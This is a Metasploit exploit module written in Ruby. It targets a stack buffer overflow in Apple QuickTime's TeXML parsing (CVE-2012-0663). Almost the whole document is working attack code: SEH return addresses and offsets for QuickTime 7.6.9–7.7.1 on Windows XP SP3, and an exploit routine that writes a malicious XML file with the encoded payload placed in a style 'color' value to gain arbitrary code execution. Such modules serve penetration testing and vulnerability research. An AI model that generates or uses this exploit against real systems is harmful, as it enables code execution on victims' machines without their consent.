Apple QuickTime – TeXML Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime TeXML Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in Apple QuickTime. When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. The flaw is generally known as a bug while processing the 'transform' attribute, however, that attack vector seems to only cause a TerminateProcess call due to a corrupt stack cookie, and more data will only trigger a warning about the malformed XML file. This module exploits the 'color' value instead, which accomplishes the same thing. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Gavrun', # Vulnerability Discovery 'sinn3r', # Metasploit Module 'juan vazquez' # Metasploit Module ], 'References' => [ [ 'OSVDB', '81934' ], [ 'CVE', '2012-0663' ], [ 'BID', '53571' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-095/' ], [ 'URL', 'http://support.apple.com/kb/HT1222' ] ], 'Payload' => { 'DisableNops' => true, 'BadChars' => "\x00\x23\x25\x3c\x3e\x7d" }, 'Platform' => 'win', 'Targets' => [ [ 'QuickTime 7.7.1 on Windows XP SP3', { 'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42) 'Offset' => 643, 'Max' => 13508 } ], [ 'QuickTime 7.7.0 on Windows XP SP3', { 'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34) 'Offset' => 643, 'Max' => 13508 } ], [ 'QuickTime 7.6.9 on Windows XP SP3', { 'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9) 'Offset' => 643, 'Max' => 13508 } ], ], 'Privileged' => false, 'DisclosureDate' => 'May 15 2012')) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']), ], self.class) end def exploit my_payload = rand_text(target['Offset']) my_payload << generate_seh_record(target.ret) my_payload << payload.encoded my_payload << rand_text(target['Max'] - my_payload.length) texml = <<-eos <?xml version="1.0"?> <?quicktime type="application/x-quicktime-texml"?> <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1" language="eng" timeScale="600" transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)"> <sample duration="2400" keyframe="true"> <description format="tx3g" displayFlags="ScrollIn" horizontalJustification="Left" verticalJustification="Top" backgroundColor="0%, 0%, 0%, 100%"> <defaultTextBox x="0" y="0" width="176" height="60"/> <fontTable> <font id="1" name="Times"/> </fontTable> <sharedStyles> <style id="1"> {font-table: 1} {font-size: 10} {font-style:normal} {font-weight: normal} {color: #{my_payload}%, 100%, 100%, 100%} </style> </sharedStyles> </description> <sampleData scrollDelay="200" highlightColor="25%, 45%, 65%, 100%" targetEncoding="utf8"> <textBox x="10" y="10" width="156" height="40"/> <text styleID="1">What you need... Metasploit!</text> <highlight startMarker="1" endMarker="2"/> <blink startMarker="3" endMarker="4"/> </sampleData> </sample> </text3GTrack> eos texml = texml.gsub(/^\t\t/,'') print_status("Creating '#{datastore['FILENAME']}'.") file_create(texml) end end |